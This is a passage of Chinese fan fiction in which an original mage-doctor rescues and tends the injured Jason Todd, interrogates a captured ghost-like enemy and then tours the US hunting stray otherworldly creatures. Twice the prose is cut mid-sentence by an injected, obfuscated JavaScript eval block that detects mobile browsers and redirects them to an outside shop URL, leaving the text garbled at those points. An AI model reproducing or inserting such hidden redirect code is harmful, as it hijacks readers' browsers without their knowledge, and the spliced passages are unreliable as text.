而且伤得不轻。 他抓起外套,冲向门口。脑子里那些乱七八糟的事一瞬间全都清空了。 杰森在哪儿? 门在他身后砰地关上。 瓶子里,那团黑乎乎的东西还在乱撞,撞了一会儿,慢慢停下来。 那双竖瞳盯着门口的方向,闪了闪。 然后它缩回角落里安静下来。 日光灯照着它,照着那个小小的玻璃瓶,照着空荡荡的工作台。 安静得像个什么都没发生的下午。 17. 第十七章 1 卡伦找到杰森的时候,他靠在一个垃圾箱上,脸色白得跟张纸似的。 那条巷子黑得伸手不见五指,但卡伦不用眼睛看。杰森的灵魂在那团黑暗里忽明忽暗,像一盏快没油的老式煤油灯,风一吹就要灭掉。 原本他熟悉的,如冬日壁炉般温暖的火焰此刻却只剩下一点火星,在黑暗里拼命挣扎。 不止杰森。 周围还有别的气息。很多。灰白色的、冰冷的、像幽灵一样飘忽的气息。 卡伦蹲下来,手按在杰森胸口。心跳还在,卡伦长舒了一口气。他飞快地检查了一遍——刀伤,好几处。最重的一刀在腹部,血还在往外渗,把衣服染得看不出原来的颜色。还有几道浅的,在手臂上、肩膀上,像是挡刀的时候留下的。 不是同一个人砍的。 “来了?”杰森睁开眼,看见是他,嘴角动了动。 卡伦没理他。他的注意力全在那些伤口上,思维久违的僵住了。 “死不了。”杰森又说,声音哑得像砂纸磨过石头,“别那副表情。” 卡伦还是没理他。他从口袋里掏出小瓶子,把药液倒在杰森的伤口上。杰森疼得抽了一口气,后脑勺撞在垃圾箱上,发出咚的一声闷响。 “操!” 卡伦的动作顿了一下,然后继续倒。他看见杰森的手攥成拳头,青筋都暴起来了,硬是没喊出声。 伤口在愈合。药效还行,这么大的伤口,不可能一下子长好。只是先止血,先保命,剩下的回诊所再说。 杰森低头看了看自己的肚子,又看看卡伦的脸,突然笑了一下:“你这样子还挺吓人的。” 卡伦抬头看他。 杰森被那个眼神噎了一下。 那是他没见过的一种眼神。不是平时那个淡淡的、什么都无所谓的卡伦。是一种……他说不上来,像野兽,像被抢了食的头狼。那双金色的眼睛在黑暗里发着光,瞳孔缩成一条细线,盯着他,又越过他,盯着他身后的黑暗。 “多少个?”卡伦问。 杰森愣了一下。 卡伦又说:“那些东西。多少个?” 杰森沉默了一秒,然后说:“七八个。是无名的人,大种性的老对手了,没想到还有残党。”真是小强一般的生命力。 卡伦皱起眉。 杰森继续说:“他们追了我一路,我杀了三个。” 这种东西不好打,物理攻击几乎没用,为了给他们造成更大的伤害,杰森只能用自己的血来给大种性之刃充能。现在杰森的刀伤看着可怕,其实还有不少是他自己划的。 卡伦站起来。 杰森伸手想拽他,但没拽住。 “你干嘛——小心!” 卡伦已经走进黑暗里了。 杰森听见他的声音从前面的黑暗中飘回来,“躺着。别动。” 然后就是打斗的声音。 像是野兽在黑暗中撕咬,偶尔有金属碰撞的声音,但更多是闷响、惨叫,还有什么东西被打飞砸在墙上的声音。那些惨叫不是卡伦的。 杰森靠在那儿,听着那声音,心里有点复杂。 他知道卡伦能打。那个从魔法世界回来的家伙,怎么可能不能打?但他从来没见过卡伦真正动手的样子。那次在仓库对付那些老鼠,他开了那个倒三角,但那是清场,是范围攻击,不是这种面对面的撕咬。 这次不一样。 这两个战力不是一个等级的。 这算什么?美救英雄?哦,或许英雄救反英雄更合理一点,但就身形而言卡伦的体重和他的200磅相比实在是差的有点远了。 身体动不了思维就喜欢漫天飞,不知道为什么杰森现在有一种不祥的预感,好像即将要被某些家伙秋后算账了。 杰森听见那些声音越来越远,又越来越近,像是卡伦在追着那群东西杀。无名的那些家伙有幽灵化的能力,打不过可以跑,但卡伦好像在追着他们跑,没准魔法有囚禁这些家伙的能力? 杰森突然想起,卡伦能看见灵魂。 那些幽灵化的东西,在他眼里,可能比实体还好找。 打斗声停了。 过了一会儿,卡伦从黑暗里走出来。身上溅了不少血,但走路姿势正常,不像受了伤。他手里提着一个还在挣扎的东西——半透明的,灰白色的,像一团会动的雾。 卡伦把那东西往地上一摔,用脚踩住,然后从口袋里掏出一个瓶子,把它塞进去。拧上盖子。 那东西在瓶子里乱撞。 这个场景真是该死的眼熟。 杰森盯着那个瓶子,又看看卡伦。 “除了这个全杀了?” 卡伦点头。 “几个?” “七个。有一个跑了。” 杰森愣了一下:“跑了?” 卡伦看他一眼,“穷寇莫追,而且跑的那个明显是首领那一类的角色,”卡伦略线懊恼的挠了挠脑袋,“把你送回诊所再说吧,今天我蓝条也要没了,明天我自有办法把它抓出来。” 杰森觉得有点好笑,也真的没崩住笑出来了,然后疼得龇牙咧嘴。 卡伦没好气的翻了个白眼,蹲下把他扶起来。 “走。” --- 2 回到诊所的时候,天已经快亮了。 卡伦把杰森按在治疗床上,开始处理伤口。他的手很稳,但动作比平时快。 那腹部的伤口确实吓人,深得快见内脏了。卡伦一边清理一边骂,嘀嘀咕咕的,骂得很小声,不过杰森耳朵好。 当然,更大的可能是特意骂给杰森听的。 “骂什么呢?”杰森问。 卡伦没理他。 杰森看着他那张脸,又说:“我第一次见你骂人骂这么久。” 卡伦还是没理他。 杰森靠在那儿,看着他在自己身上忙活。动作很熟练,像做过一万遍一样(也许真的有了?)。那些药水涂上去的时候,伤口处传来一阵阵刺痛,又带来一阵阵痒意。杰森攥紧拳头,强撑着没发出什么声音。 卡伦的手在他腹部游走,涂药,包扎,按压。手指冰凉。 杰森盯着那只手看了一会儿,又抬头看卡伦的脸。 那张脸很专注,眉头微微皱着,眼睛盯着伤口,带着难以觉察的认真和关心,睫毛在灯光下投下一小片阴影,在那张没什么表情的脸上,居然显得有点…… 美丽。 杰森移开视线。 可能是因为受伤,杰森一时没有想到什么更有文采的形容。卡伦的身体大片被炼金术改造,冰冷而精致的脸上,那双眼睛却曾露出过灼人的情感。 包扎完,卡伦站起来,把那些用过的纱布、药瓶收起来,扔进垃圾桶。然后他站在那儿,背对着杰森,一动不动。 生气,但不知道在生什么气.jpg 杰森等了一会儿,觉得被此刻越来越低的气压攻击到了,开口问:“你知道你刚才打架的时候,给人什么感觉吗?” 卡伦转过身。 杰森看着他的眼睛,忽然又带点不确定的说:“像野兽?” 卡伦沉默了两秒,然后点头。 “可能吧,你不是第一个这么说的,”卡伦淡淡地回答,“但我有理智。” 杰森笑了笑:“似乎也没什么关系。” 卡伦走过来,在他床边坐下。床垫陷下去一块。 沉默了一会儿。 卡伦开口:“无名的人,是追着你来的?” 杰森点头:“八成是闻着我的味找来的。那群东西跟大种姓打了上千年,现在大种姓没了,他们就盯着我了。” 卡伦皱眉:“大种姓没了?” 杰森点头:“我回去的时候已经没了。达珂拉全死了。” 他说这话的时候语气很淡,但卡伦的情商不允许他再问下去。 杰森突然以一种调侃的语气道:“你今天那个打法,就像——豹子护食。哦,不是猎豹,猎豹被抢习惯了。” 卡伦愣了一下。 突然站起来,走向厨房。 “我去做饭。” --- 3 杰森在诊所养伤的消息不知道怎么传出去的,当然这在蝙蝠侠他们家也不奇怪。还没到第二天,第一个访客就来了。 迪克。 他推门进来的时候,手里拎着一个袋子,脸上写着“我来探病但我其实是来看热闹”。 具体的情况他们已经知道了,既然杰森在卡伦的诊所这儿,那倒也不必太过担心。 好吧,迪克还是从布鲁德海文飞回来了。弟弟都是债啊。 “哟,小翅膀,还好吗?” 杰森躺在床上,翻了个白眼。 迪克走过来,把袋子往旁边一放,低头看了看他的伤口。 “看起来还行,死不了。” 杰森:“废话。” 迪克笑了一声,然后转头看卡伦。 “听说你昨晚一个人杀了七个?” 卡伦正在旁边整理药柜,头都没回:“嗯。” 迪克吹了声口哨:“厉害。那群东西我听说过,大种姓的宿敌,幽灵化能力,难缠得很。” 卡伦没接话。 迪克也不介意,转回去继续看杰森,表情严肃了一点。 “老头子说让你好好养伤。法外者那边他帮你打招呼了。” 杰森愣了一下。 迪克耸肩:“他没说太多,但你知道他那个意思,我们总要体谅一下布鲁斯的,虽然没长嘴就是他的错。” “知道了。” 迪克又待了一会儿,聊了几句有的没的就走了。走之前还特意跟卡伦说:“他要是乱动,你告诉我,这么有活力的话,我下次带着小D来看他。” 卡伦点头。 --- 第二个来的是提姆。 他进来的时候,手里拿着一个文件夹,脸上写着“我来探病但我其实是来办公”。 卡伦:我为什么能看懂你们的意思。 “听说你被无名的人袭击了?” 杰森点头。 提姆走过来,把文件夹往旁边一放,低头看了看他的伤口。 “伤得挺重。” 杰森:“谢谢你的观察。” 提姆没理他,转头看卡伦。 “七个?” 卡伦点头。 提姆想了想,说:“无名的人死了七个,他们不会就这么算了。” “不过也不用太担心。老头子在联系大种姓唯一的幸存者,叫艾森斯。她应该知道怎么对付他们。” 杰森在旁边插嘴:“艾森斯还活着?” 提姆看他:“你不知道?” 杰森沉默。 提姆合上文件夹:“我走了。你好好养伤。” 杰森挥手。 提姆走到门口,又回头。 “对了,达米安让我带句话。” 杰森挑眉。 提姆的表情有点微妙:“他说,‘陶德没死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444114|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?没死就行。告诉他,下次和无名打架的时候叫上我。’” --- 4 晚上,杰森躺在床上,看着天花板发呆。 卡伦坐在旁边的椅子上,看书。 窗外的月光照进来,把诊所照得半明半暗。 杰森突然开口:“下次他们来,我会叫你或者布鲁斯他们的。” 卡伦终于抬头,看了他一眼。 杰森看着天花板,语气很淡:“你不是说下次打架叫你吗。” 卡伦盯着他看了几秒,然后低下头,继续看书。 “行。” 杰森嘴角动了动。 过了一会儿,卡伦突然说:“你刚才说,我护食?” 杰森愣了一下,这是要找他秋后算账了吗?不要吧,他真的只是开玩笑。 卡伦没抬头,声音很平:“我第一次听人这么形容我。” 杰森想了想,谨慎的问:“那你觉得像吗?” 卡伦沉默了几秒。 然后他站起来,走到杰森床边,坐下。 月光从窗户照进来,照在他半边脸上,把那道金色的眸子照得发亮。 他看着杰森,说:“像。” 杰森被他看得有点不自在。 卡伦继续说:“如果你非要这么形容的话,你是我回来这个世界后,唯一的美食了。” 杰森觉得他的伤还没好,现在脑子要炸掉了。 卡伦站起,走回椅子那边,坐下,继续若无其事的看书。 杰森躺在床上,盯着天花板,半天没说话。 过了一会儿,他开口了:“你这人说话怎么这么……” 他说到一半卡壳了。 卡伦没抬头:“这么什么?” 杰森想了想,说:“这么…直接?” 卡伦翻了一页书:“习惯了。魔法世界没那么多弯弯绕绕。” 杰森沉默了一会儿,然后笑了笑。 “行吧。” 窗外的月光越来越亮。 诊所里安安静静的,只有偶尔翻书的声音和两个人的呼吸。 杰森躺在那儿,慢慢陷入了梦乡。 --- 5 杰森的呼吸慢慢平稳下来。 卡伦坐在床边的椅子上,一只手枕着脑袋,搭在杰森的手臂旁边。他没有碰他,只是搭在那儿,隔着几厘米的距离,能感觉到那只手臂散发的温度。 月光从窗户照进来,在杰森脸上投下淡淡的银白色。那张脸睡着了比醒着柔和,眉头不皱,嘴角不倔,像个终于肯休息的人。 卡伦盯着那张脸看了一会儿。 然后他把脸埋进自己的手臂里,只露出一只眼睛,继续盯着。 呼吸。心跳。睫毛偶尔的颤动。 活着。 这个人还活着。 卡伦想起几个小时前找到他的时候,那团快要灭掉的火。如果他去晚一步——如果他在那个巷子里再多犹豫几秒——现在躺在这里的可能就不是活着的杰森了。 他又把脸往手臂里埋了埋。 脑子里有个声音在说:他属于他自己。他有他的生活,他的战斗,他的法外者。这是他的自由,你不能因为一己私欲把他拴在身边。 那是他一直以来信奉的“正确”。 在叠羽大陆那些年,他见过太多生离死别。他知道人是自由的,想走就走,想留就留。他从来不拴着任何人。他尊重每一个人的选择,尊重每一个人的路,生与死,总是只有当事人才有资格选择的。 但现在—— 他看着杰森的睡脸,脑子里涌上来的念头让他自己都觉得陌生。 想把他留下。 想让他永远在这张床上躺着也行,在诊所里走来走去也行,坐在椅子上跟他斗嘴也行——只要在他看得见的地方。 想在他身上刻个印记,想在他下次遇到危险的时候,自己能第一时间赶到。 想让他对自己露出那种放松的表情。 想…… 这些念头一个接一个地冒出来,像野草一样疯长。 哦,快停下吧,越想越不对劲,他什么时候变成变态了。 天哪,他评价自己的时候,甚至用的是肯定句。 卡伦把整张脸都埋进手臂里。 我该拿你怎么办呢?或者说,我该怎么办呢? 他从来不是这样的人。他尊重自由,尊重选择,尊重每一个人走自己的路,哪怕那条路通向死亡。 他的魔法一道向来是以尊重心的选择为宗旨的,但卡伦觉得如果现在让他随心所做的话,恐怕有点不妙。 他有点心虚的抬起头,又看了杰森一眼。 伸出手,悬在他脸的上方,没有触碰,只是感受着从他皮肤上传来的温度。 从他人身上汲取到的温度,对于卡伦来说是一种很新奇的体验,他的战友不少,但很少有亲密的朋友,更没有过伴侣,自己的身体在伤痛中被一次又一次改造,尽管他穿越回来变得年轻,但那些刻在灵魂里的炼金阵法却仍落到了这具身体上。 不管内心如何挣扎,他只能收回手,又把脸埋进手臂里。尽管那些独占欲像藤蔓一样疯长,缠得他喘不过气。 这不对。 他知道这不对。 窗外的月光静静地照着。 杰森翻了个身,手臂动了动,碰到了卡伦的手。那只手顿了一下,然后轻轻搭在卡伦的手腕上——无意识的,睡梦中的触碰。 卡伦僵住了。 18. 第十八章 1 杰森醒来的时候,阳光正从窗户照进来,刺得他眼睛疼。 说起来,他也很久没有睡得这么好过了。一夜无梦,不会是卡伦在自家诊所里设了什么魔法阵吧? 他眯着眼适应了一会儿,然后发现自己脖子上多了个东西。 一根细链子,银白色,泛着金属的光泽,但贴着皮肤却温温的,没有金属该有的那股凉意。链子末端坠着一个白色吊坠,是木质枝条编成的眼睛形状,中间嵌着一枚金色圆片,在阳光下闪着柔和的光。 杰森盯着那个吊坠看了三秒,然后扭头去找卡伦。 卡伦就坐在旁边的椅子上,手里捧着一杯咖啡,眼睛下面有点青。像极了提姆一夜没睡的样子。 “这什么?”杰森拎起那个吊坠晃了晃。 卡伦喝了口咖啡,语气很平淡:“项链。” 杰森:“……我看得出来是项链。我问这是干嘛的。” 卡伦放下咖啡杯,走过来,在他床边坐下。他从自己领口里也拉出一根链子——一模一样的银白链条,吊坠也是一样的眼睛形状,但中间嵌的不是金色圆片,是一颗蓝绿色的石头,在阳光下闪着钻石一样的光。 “一对的。”卡伦说。 杰森盯着那两颗吊坠看了看,又看看卡伦的脸,表情有点微妙。 “你昨晚通宵做的?” 卡伦点头。 杰森沉默了两秒,然后问:“所以这东西有什么用?监视?定位?还是我一干坏事你就知道?” 卡伦看着他,嘴角有些上翘的趋势,但很快又平复下来了——那一下很快,但杰森看见了。 “没有监视,没有定位,拜托,我和你们这些蝙蝠或者小鸟们不一样。”卡伦说,“只有祝福,精神防御和双向传送这几个功能。” 他指了指杰森胸口的吊坠:“你生命垂危的时候,它会把你传到我身边。” 杰森愣了一下。 卡伦又指了指自己的那颗:“或者你想见我的时候,也可以随时传过来。反向也行,我想见你的时候,也能传过去。” 杰森低头看了看那个吊坠,又抬头看他。 “就这么简单?” 卡伦想了想:“还有一条限制。” 杰森等着。 “有使用寿命。”卡伦说,“能用多少次,要看距离长短,中间有没有魔法阻隔,乱七八糟的因素很多。所以不建议常用。” “这东西材料很珍贵吧。” 卡伦没说话。 杰森继续盯着他。 卡伦移开视线,端起咖啡又喝了一口。 “链条用的金属,挺难找的,我的存货也不太多。” 他没说多难找,也没说从哪找的,更没说那种金属和他心脏处的是同一种材料。如果这种材料用完,那他恐怕还真得回去一趟了。 杰森看着他,又看了看自己脖子上那个吊坠,沉默了一会儿。 然后笑了笑。 “行吧。”他把吊坠塞回衣服里,往枕头上一靠,“谢了。” 卡伦点点头,站起来,往厨房走。 “我去做饭。” 杰森看着他的背影,欲言又止。 那个背影走到厨房门口,停了一下。 “对了。”卡伦微微转头,“金色那个是给你的,蓝绿色是我的。别搞混了。” 虽然他也想不到什么情况才能搞混,但是想想还是把副作用说明白好一些。 杰森低头又看了一眼自己的吊坠,又看了看他脖子上那个若隐若现的蓝绿色。 “搞混了会怎样?” 卡伦想了想:“可能你会穿到我身上,我会穿到你身上。” 杰森:? 卡伦继续说:“你穿成我,我穿成你,然后你去开诊所,我去犯罪巷收保护费。” 杰森想象了一下那个画面,沉默了。 卡伦已经进厨房了。 杰森躺回枕头上,摸了摸胸口的吊坠。 --- 2 杰森在诊所又躺了两天。 第三天,卡伦出门了一趟。没说什么事,就说了句“出去转转”,然后人就不见了。 这转头没的作风,还真有了点蝙蝠侠的风范。 杰森躺在床上,盯着天花板,心想这家伙到底要去哪儿,竟然回答的这么敷衍,还不带上他。 两个小时后,卡伦回来了。 手里拖着一个人。 真的是拖着。那人穿着黑色的袍子,脸上青一块紫一块,被卡伦拽着衣领一路拖进诊所,往地上一扔。要不是他的头在地上磕出了不小的声响,光看那举重若轻的样子杰森还以为他拖的是个气球。 杰森低头看了看地上那坨东西,又抬头看卡伦。 “这是?” 卡伦拍了拍手上的灰:“上次跑掉的那个。” 卡伦走过来,在他床边坐下,给自己倒了杯水。 “无名的人。应该是这群人的头儿。”他喝了一口水,“我追了两天,在码头那边抓到的。” 杰森低头看着地上那坨东西。那人正在蠕动,嘴里发出呜呜的声音,想说什么但喉咙被什么东西堵住了。 “他怎么不动?” 卡伦耸肩:“我下了点药。全身上下,他现在大概只有脑子能动。” 杰森扭头看向卡伦,发出了一个赞扬的眼神。 “行啊你。” 卡伦没接话,继续喝水。 杰森托着腮思考,二人沉默了一下。 杰森问:“你打算怎么处理?” 卡伦放下杯子,看着他。 “交给你。” 杰森愣了一下。 卡伦继续说:“你跟他们有仇。大种姓的事,你的老师,那些人。你自己看着办。或者交给蝙蝠侠也行。” 杰森盯着他看了几秒,然后低头看地上那坨东西。 那坨东西现在终于可以慢慢蠕动了,不甘寂寞地发出呜呜的声音。 杰森想了想,说:“老头子那边应该有用。无名的人还有多少,藏在哪,为什么追我——这些都能问出来。” 卡伦点头。 杰森看着他:“你不自己审?” 卡伦摇头。 “太麻烦。”他说,“而且那家伙一看就嘴硬。懒得跟他耗。” 杰森笑了一下。 “行。那交给老头子。” 布鲁斯:儿女都是债,有你们是我的蝠气。 卡伦站起来,走到那坨东西旁边,弯腰又补了一针。那坨东西抽了一下,彻底不动了。 卡伦站起来拍拍手,补充说:“他有几个手下。我顺手处理了。” “几个?” “四五个吧。” 杰森沉默了两秒。 “你一个人?” 卡伦微微低下头,有点可怜兮兮的看向他。 “你不是说,下次打架叫你吗?”他说,“但你当时躺着,动不了。所以我替你打了。” 杰森被他这话噎了一下,还有,不用演出这幅无辜的样子了,救命,他觉得看地上那人看见了会气死的。 卡伦没得到回答也不在意,耸耸肩,走回椅子边坐下,去继续喝他的水了。 杰森躺在床上,盯着天花板,心想这家伙说话怎么总是让人没法接。 --- 3 晚上,趁着杰森睡着的时候。 卡伦重新坐在工作台前,盯着那个瓶子。 里面的黑袍人还在乱撞,撞得瓶壁砰砰响。那双绿豆眼在黑暗中闪着光,盯着他,像是在等什么。 卡伦盯着它看了几秒。 然后他伸出手,拧开盖子。 那团黑乎乎的东西一下子窜出来,在空中扭来扭去,发出那种让人起鸡皮疙瘩的声音。 “你终于肯放我出来了——” 卡伦没理它。他的手直接伸进那团黑雾里,抓住里面的核心。 那东西尖叫起来。 “你——你干什么——” 卡伦闭上眼睛。 精神冲击。 这是他在魔法世界学会的招数,但很少用。太粗暴,太直接,容易把人弄傻,消耗和限制也不少,但对付这种东西也就无所谓了。 那团黑雾在他手里疯狂扭动,尖叫,挣扎,像一条扭动的蛆,反正是无济于事。 卡伦的脑子里涌入了一大堆乱七八糟的画面。 那个被污染的世界。灰色的天。扭曲的生物。还有——一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444115|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道裂缝。 很浅的一道裂缝,在两个世界之间。 应该是两个世界在某层空间上擦肩而过,在接触的地方留下了一点痕迹。那道裂缝不大,一次只能挤过来几个人。那些老鼠、那个黑袍人、还有一些魔法世界特产的小麻烦——都是从那道裂缝里过来的。 就这些? fine,就这些。 卡伦睁开眼,不甚在意的松开手。 那团黑雾落在地上,缩成一团,抖个不停。那双绿豆眼暗淡无光,像两颗快灭的灯泡。 卡伦低头看着它,沉思了两秒。 然后他把它捡起来,塞回瓶子里,拧上盖子。 没准儿之后还有点用,就先让他占着这个瓶子吧。 那东西在瓶子里抖着,再也不敢撞了。 卡伦把瓶子放回工作台上,靠在椅背上,看着窗外。 月光照进来,照着那些瓶瓶罐罐,照着那个安静下来的瓶子。 他坐回椅子上,闭着眼想了一会儿,手指在台面上轻轻地敲出没有节奏的鼓点。 那个世界和这个世界,只是擦肩而过。来的人不多,来的东西也不多。都是些能从那道裂缝里勉强挤过来的小东西罢了,又不能指望着大象钻蚂蚁洞。 没什么大事。 不是那个紫薯精级别的威胁。 他站起来,走到窗边,看着外面的哥谭。 那这座城市呢? 那些他在另一个世界还没处理完的事呢? 杰森的伤还没好利索,无名的人还有残党,紫薯精的无限宝石也不知道收集到第几个了——一堆烂摊子。 但他坐不住了。 那个裂缝虽然不大,但一直有东西从那边的世界溜过来,溜到这边的世界,搞出各种乱七八糟的事。就像一群又一群的蚊子,攻击性不大,骚扰力极强。 他应该出门去转转了。 去看看那道裂缝,看看那边还有什么东西溜过来了,看看能不能顺手堵上。 反正目前事情也都到了僵持阶段,在新的消息到来前恐怕也不会有什么突破性进展,闲着也是闲着。 他转身,看了一眼床上的杰森。 那个人睡得很沉,呼吸平稳,胸口的吊坠在月光下闪着微弱的光。 伤虽然没完全好,但也不怎么耽误正常行动了,也不知道为什么还在他的诊所待着,虽然他自己也挺乐意收留杰森的。 卡伦盯着他看了几秒。 啊,直接走吧,万一明天看到他醒过来,舍不得说再见了怎么办。 他走回工作台前,拿了纸笔,写了一行字: “出去转转。可能要一阵子。无名的人交给你了,有事联系我。那个瓶子里的话别信。零食在哪儿你比我更清楚,饭在冰箱里。” 他把纸条压在杰森的手机下面。 然后背上跟着他跑了两个世界的背包,推开门,走进夜色里。 门在身后轻轻关上。 --- 4 隔天早上,杰森又是被阳光刺醒的。 他眯着眼适应了一会儿,然后发现屋里很安静。 卡伦不在。 他坐起来,四处看了看。诊所里空荡荡的,只有阳光和灰尘在空气中飘。 他看见工作台上那个瓶子。里面的黑东西缩在角落里,一动不动,老实得像只死苍蝇。 杰森皱了皱眉。 他伸手去拿手机,发现下面压着一张纸条。 他拿起来看了一遍。 “出去转转。可能要一阵子。无名的人交给你了,有事联系我。那个瓶子里的话别信。零食在哪儿你比我清楚,饭在冰箱里。” 杰森盯着那行字,把纸条翻了翻没再发现其他的内容。 然后他掀开被子,下床,走到厨房,打开冰箱。 里面整整齐齐码着几盒做好的饭,够他吃上几天了。 他站在冰箱前,看着那些饭盒,沉默了一会儿。 他关上冰箱门,坐回床上。 窗外,哥谭的阳光照进来,亮得晃眼。 杰森靠在床头,又拿起那张纸条,嘴角抽了抽。 “转转。”他自言自语,“转你个头。” 不说再见的家伙。 19. 第十九章 1 卡伦这趟出去,走了整整两个月。 那道裂缝比他想像的要麻烦。 招各种各样的虫子。 第一站是内华达的沙漠。 他到的时候是半夜,月亮很大,照得沙子发白。然后他看见加油站旁边蹲着一团黑乎乎的东西。 走近一看,一台自动贩卖机。可口可乐的,上面贴着广告——“冰爽一夏”。 就是歪了点。 整台贩卖机歪歪扭扭的,像被人捏过的易拉罐。饮料口开在左边,投币口开在右边,中间那个触摸屏一闪一闪的,上面显示的不是可乐价格,是几个他看不懂的符号。 卡伦站那儿看了三秒,然后掏出两枚硬币,塞进去。 贩卖机抖了一下。 然后“叮”一声,吐出一罐可乐。 卡伦打开,喝了一口。 味道还行,就是有点铁锈味,后味儿还有点像机油。 他喝完,把空罐子扔进旁边的垃圾桶,然后对那台贩卖机说:“下次把灯弄亮点。黑咕隆咚的,鬼才看得见。” 贩卖机的屏幕闪了闪,那团黑雾在机器里扭了一下,冲他比了个中指。 然后沙漠里少了一台自动贩卖机。 --- 2 第二站是黄石公园。 卡伦一开始到这儿来倒不是因为感应到有污染什么的,只是这地方很有名,而且最近流言有点多了。 近日,据当地传说,有东西藏在老忠实泉下面,每天晚上九点准时冒头,把游客拖进梦里。第二天早上那些人醒来,一脸懵逼地跟导游说:“我梦见我变成了一只会喷泉的鸭子。” 导游已经习惯了。 不愧是你们美丽卡人吗? 因为导游说的过于笃定,让卡伦相信了这次不是什么胡编乱造的都市怪谈,而是真的有问题。 卡伦在温泉边上蹲了三天。 第一天被蚊子咬了一身包。 第二天又白等了一个晚上。 第三天,他终于等到那玩意儿冒头。他甚至没用魔法,就用一根从纪念品商店买的钓鱼竿,把那东西从温泉里拽了出来。 那东西在他鱼线上扑腾,发出吱吱的叫声,像一只愤怒的老鼠。 卡伦低头看着它,那东西也抬头看他。一双绿豆眼,在黑夜里闪闪发光,满眼都是愤怒和委屈。 卡伦闭目。 叠羽大陆到底是被什么侵蚀了,他辛辛苦苦打了这么多年的仗结果在另一个世界入侵的全是这种东西吗? 它吱吱吱地骂他,大概意思是“你特么是野蛮人”。 “你骂吧。”卡伦说,“反正鸭子听不懂。” 他把那东西塞进瓶子里,拧上盖子,然后去游客中心买了根热狗当宵夜。 热狗挺好吃。 啧,就是贵了点。 景区食品。 --- 3 八月的时候他去了佛罗里达。 这次他绝不会工作了,他明明开诊所的时候就想退休了,来这里是真的为了度个假。 他这辈子还没见过海。 魔法世界没有海,只有灰蒙蒙的雾气和无尽的沼泽。哥谭也没有海,只有脏兮兮的河水和不知道从哪儿漂来的垃圾。所以他想去看看海长什么样。 结果到了才发现不对劲。 迈阿密海滩,下午三点,阳光正好。 海滩上没人。 站在沙滩上往前看,能看见海,能看见天,能看见海鸥,就是看不见一个人。整个海滩空荡荡的。 他找了个当地的老头问。 老头叼着雪茄,坐在一把破躺椅上,眯着眼看他,表情像在看一个刚下飞船的外星人。 “红潮。”老头说,吐出一口烟。 卡伦愣了一下:“什么?” 老头用雪茄指了指海面:“海水臭了。绿的。那味道,死鱼烂虾混着化工原料,风一吹,整个迈阿密都能闻到。” 卡伦看着那片海。确实是绿的,有点像什么化学试剂染的色。 真讨厌,这颜色有点像某个知名超反了。 “还有蚊子。”老头又说,“多得能把人抬起来。前两天有个游客不信邪,下午在海滩上睡了一觉,醒来发现自己被抬到三米外了。” 卡伦沉默了。 老头继续说:“你要想体验世界末日,这地方挺好。包场,免费,蚊子管够。” 卡伦只好开车离开,花了三个多小时在附近兜了一大圈,终于找到了一片还算干净的区域。 他把脚泡在水里,看着太阳一点点往下沉。金色的光铺在海面上,海浪一荡一荡的,把那些光揉碎了,又拼起来。几只海鸥在天上飞,偶尔叫两声,叫声悠长得像叹息。 他在那一刻突然理解了为什么有人喜欢海边。 一望无际的大海能让人清晰得感觉到世界的广袤,而这个时候生活中的烦恼对比起来就显得渺小了。傍晚的海风透过他薄薄的衬衫,穿过他心脏处的空洞,好似他也随着风轻盈的飞远了。 --- 4 在迈阿密市区,他遇到一个卖冰淇淋的。 一个老头,古巴口音,英语说得乱七八糟,不过冰淇淋做得好吃。卡伦买了一个球,巧克力味儿的,就这么蹲在路边啃。 旁边有个流浪汉冲他笑。那流浪汉大概六十来岁,胡子拉碴,穿着一件看不清颜色的T恤,坐在纸板上,旁边放着一个破碗。 “你从哪儿来?”流浪汉问。 “哥谭。” 流浪汉愣了一下。 “那个鬼地方。” 卡伦点头。 流浪汉又问:“来这儿干嘛?” “度假。” 流浪汉笑得露出几颗缺了的牙:“你选错地方了。这儿的蚊子都能把人抬起来。” 卡伦想起之前那个老头的话,也笑了。 他吃完冰淇淋,站起来,走到那个流浪汉面前,蹲下。 “你是画家?”他问。 流浪汉愣了一下,然后低头看了看自己——脏兮兮的衣服,油腻腻的头发,指甲里全是泥。 “你看我像画家?” 卡伦说:“你手上有颜料。” 流浪汉低头看了看自己的手。确实有。蓝的,红的,黄的,干了很久了。 他沉默了几秒,然后说:“以前是。” “以前?” “十年前。”流浪汉说,“别看我这样,其实我之前画的还不错,不过时运不济,破产了。就剩这些颜料,现在偶尔摆摊画画谋生。。” 卡伦盯着他看了一会儿。 然后他站起来,走到冰淇淋摊那儿,买了三个球。回来,蹲下,把三个球都递给流浪汉。 流浪汉愣住了。 “给,”卡伦说,“吃完帮我画个东西。” 流浪汉盯着那三个球,表情很复杂。 然后他接过一个,咬了一口。 “画什么?” 卡伦想了想:“海鸥。” 流浪汉一边吃一边画。用他那双沾满颜料的手,从纸板下面抽出一张画纸,然后用不知道从哪儿摸出来的一截铅笔头和一盒脏兮兮的,已经干了一半的颜料,在上头画了一只海鸥。 流浪汉的手上似乎有伤,这对他们而言并不奇怪,不是所有人都对这些流落街头的人这么友善。 这也导致这幅画并不怎么好看,线条歪歪扭扭,但色彩不错,还能依稀看见往日那个画家的影子。 流浪汉画完,自己也沉默了。 他看了看那幅画,又看了看卡伦。 “……冰淇淋还你?” 